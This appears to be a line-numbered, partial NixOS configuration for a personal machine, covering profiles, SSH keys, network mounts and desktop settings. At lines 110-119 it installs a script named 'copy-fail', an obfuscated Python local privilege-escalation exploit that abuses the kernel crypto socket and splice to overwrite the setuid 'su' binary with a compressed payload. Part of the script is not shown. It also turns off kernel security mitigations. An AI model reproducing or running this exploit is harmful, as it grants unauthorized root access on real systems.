9 ../nixos/profiles/appimage.nix
10 ../nixos/profiles/bluetooth.nix
11 ../nixos/profiles/builder.nix
12 ../nixos/profiles/debug.nix
13 ../nixos/profiles/dolphin.nix
14 ../nixos/profiles/flatpak.nix
15 ../nixos/profiles/graphical.nix
16 ../nixos/profiles/home.nix
17 ../nixos/profiles/irssi.nix
18 ../nixos/profiles/lang-fr.nix
19 ../nixos/profiles/laptop.nix
20 ../nixos/profiles/printing.nix
21 #../nixos/profiles/radio.nix
22 ../nixos/profiles/steam.nix
25 nan2gua1/networking.nix
28 nan2gua1/postgresql.nix
34 # Lower kernel's security for better performances
35 security.kernel.mitigations = "off";
36 systemd.coredump.enable = true;
38 home-manager.users.julm = {
39 imports = [ ../homes/julm.nix ];
42 openssh.authorizedKeys.keys = map lib.readFile [
43 # For nix -L run .#$(hostname).switch
44 ../users/julm/ssh/nan2gua1.pub
50 # Put the hashedPassword in /nix/store,
51 # though /etc/shadow is not world readable...
52 # printf %s $(mkpasswd -m md5crypt)
53 hashedPassword = lib.readFile pumpkin/users/julm/login/hashedPassword.clear;
59 "plugdev" # For rtl-sdr
67 #config.services.davfs2.davGroup
68 config.services.kubo.group
71 # If created, zfs-mount.service would require:
72 # zfs set overlay=yes ${hostName}/home
74 openssh.authorizedKeys.keys = map lib.readFile [
75 ../users/julm/ssh/losurdo.pub
76 ../users/julm/ssh/pumpkin.pub
83 #"http://nix-localcache.losurdo.sp"
84 #"file:///mnt/off4/julm/nix?priority=10&trusted=true"
85 #"ssh://nix-ssh@losurdo.sp?priority=30"
87 trusted-public-keys = map lib.readFile [
88 #../users/nix/ssh/losurdo.pub
92 #environment.etc."nixpkgs".source = pkgs.path;
93 #environment.etc."nixpkgs-overlays".source = inputs.self + "/nixpkgs";
95 nix.settings.allowed-users = [
96 #config.users.users."nix-ssh".name
100 keys = map lib.readFile [
101 ../users/julm/ssh/losurdo.pub
102 ../users/julm/ssh/pumpkin.pub
103 ../users/julm/ssh/nan2gua1.pub
104 ../users/sevy/ssh/patate.pub
108 environment.systemPackages = [
110 (pkgs.writeScriptBin "copy-fail" ''
111 #!/usr/bin/env python3
112 import os as g,zlib,socket as s
113 def d(x):return bytes.fromhex(x)
115 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
118 f=g.open("${lib.getExe' pkgs.shadow.su "su"}",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
119 while i<len(e):c(f,i,e[i:i+4]);i+=4
122 #pkgs.riseup-vpn # Can't be installed by home-manager because it needs to install policy-kit rules
125 boot.extraModulePackages = [
126 #config.boot.kernelPackages.v4l2loopback
129 programs.fuse.userAllowOther = true;
131 #services.davfs2.enable = true;
133 systemd.automounts = [
135 where = "/mnt/aubergine";
136 automountConfig.TimeoutIdleSec = "5 min";
141 # Use the user's gpg-agent session to query
142 # for the password of the SSH key when auto-mounting.
143 sshAsUser = pkgs.writeScript "sshAsUser" ''
145 exec ${pkgs.sudo}/bin/sudo -i -u "$user" \
146 ${pkgs.openssh}/bin/ssh "$@"
153 "exec" # Override "user"'s noexec
157 "ssh_command=${sshAsUser}\\040julm"
160 "x-systemd.automount"
161 #"Compression=yes" # YMMV
162 # Disconnect approximately 2*15=30 seconds after a network failure
163 "ServerAliveCountMax=1"
164 "ServerAliveInterval=15"
171 device = "${pkgs.sshfs-fuse}/bin/sshfs#julm@aubergine.sp:/";
176 device = "${pkgs.sshfs-fuse}/bin/sshfs#julm@losurdo.sp:/";
181 device = "${pkgs.sshfs-fuse}/bin/sshfs#julm@mermet.sp:/";
186 "/mnt/ilico/severine" = {
187 device = "https://nuage.ilico.org/remote.php/dav/files/severine/";
191 conf = pkgs.writeText "davfs2.conf" ''
192 backup_dir /home/julm/.local/share/davfs2/ilico/severine
193 secrets /home/julm/.davfs2/secrets
205 "x-systemd.automount"
206 "x-systemd.device-timeout=1m"
207 "x-systemd.idle-timeout=1m"
208 "x-systemd.mount-timeout=10s"
214 services.udev.packages = [
215 # Allow the console user access the Yubikey USB device node,
216 # needed for challenge/response to work correctly.
217 pkgs.yubikey-personalization
222 layout = "fr,us(altgr-intl)";
226 # Let the session be generated by home-manager
228 name = "home-manager";
230 ${pkgs.runtimeShell} $HOME/.hm-xsession &
238 services.displayManager = {
239 defaultSession = "home-manager";
240 #defaultSession = "none+xmonad";
241 #defaultSession = "mate";
242 #defaultSession = "cinnamon";
244 user = config.users.users.julm.name;
248 nixpkgs.config.allowUnfreePredicate =
250 builtins.elem (lib.getName pkg) [
276 # This value determines the NixOS release with which your system is to be
277 # compatible, in order to avoid breaking some software such as database
278 # servers. You should change this only after NixOS release notes say you should.
279 system.stateVersion = "25.05"; # Did you read the comment?